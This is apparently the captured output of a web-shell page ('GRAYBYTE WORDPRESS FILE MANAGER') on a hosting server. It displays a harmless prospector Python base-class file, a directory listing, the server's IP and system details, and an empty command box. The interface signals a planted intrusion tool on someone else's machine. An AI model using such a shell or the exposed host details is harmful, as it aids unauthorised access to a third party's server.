GRAYBYTE WORDPRESS FILE MANAGER8364

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/prospector/tools/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/prospector/tools//base.py
from abc import ABC, abstractmethod
from typing import Iterable, List, Optional, Tuple

from prospector.message import Message


class ToolBase(ABC):
    @abstractmethod
    def configure(self, prospector_config, found_files) -> Tuple[str, Optional[Iterable[Message]]]:
        """
        Tools have their own way of being configured from configuration files
        on the current path - for example, a .pep8rc file. Prospector will use
        its own configuration settings unless this method discovers some
        tool-specific configuration that should be used instead.

        :return: A tuple: the first element is a string indicating how or where
                 this tool was configured from. For example, this can be a path
                 to the .pylintrc file used, if used. None means that prospector
                 defaults were used. The second element should be an iterable of
                 Message objects representing any issues which were found when
                 trying to load configuration - for example, bad values in a
                 .pylintrc file. It is also possible to simply return None if
                 neither value is useful.
        """
        raise NotImplementedError

    @abstractmethod
    def run(self, found_files) -> List[Message]:
        """
        Actually run the tool and collect the various messages emitted by the tool.
        It is expected that this will convert whatever output of the tool into the
        standard prospector Message and Location objects.
        """
        raise NotImplementedError

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 15 2025 08:30:34
root / root
0755
__pycache__
--
May 15 2025 08:30:34
root / root
0755
bandit
--
May 15 2025 08:30:34
root / root
0755
dodgy
--
May 15 2025 08:30:34
root / root
0755
mccabe
--
May 15 2025 08:30:34
root / root
0755
mypy
--
May 15 2025 08:30:34
root / root
0755
profile_validator
--
May 15 2025 08:30:34
root / root
0755
pycodestyle
--
May 15 2025 08:30:34
root / root
0755
pydocstyle
--
May 15 2025 08:30:34
root / root
0755
pyflakes
--
May 15 2025 08:30:34
root / root
0755
pylint
--
May 15 2025 08:30:34
root / root
0755
pyright
--
May 15 2025 08:30:34
root / root
0755
pyroma
--
May 15 2025 08:30:34
root / root
0755
vulture
--
May 15 2025 08:30:34
root / root
0755
__init__.py
2.589 KB
April 17 2025 13:10:59
root / root
0644
base.py
1.538 KB
April 17 2025 13:10:59
root / root
0644
exceptions.py
0.166 KB
April 17 2025 13:10:59
root / root
0644
utils.py
1.134 KB
April 17 2025 13:10:59
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF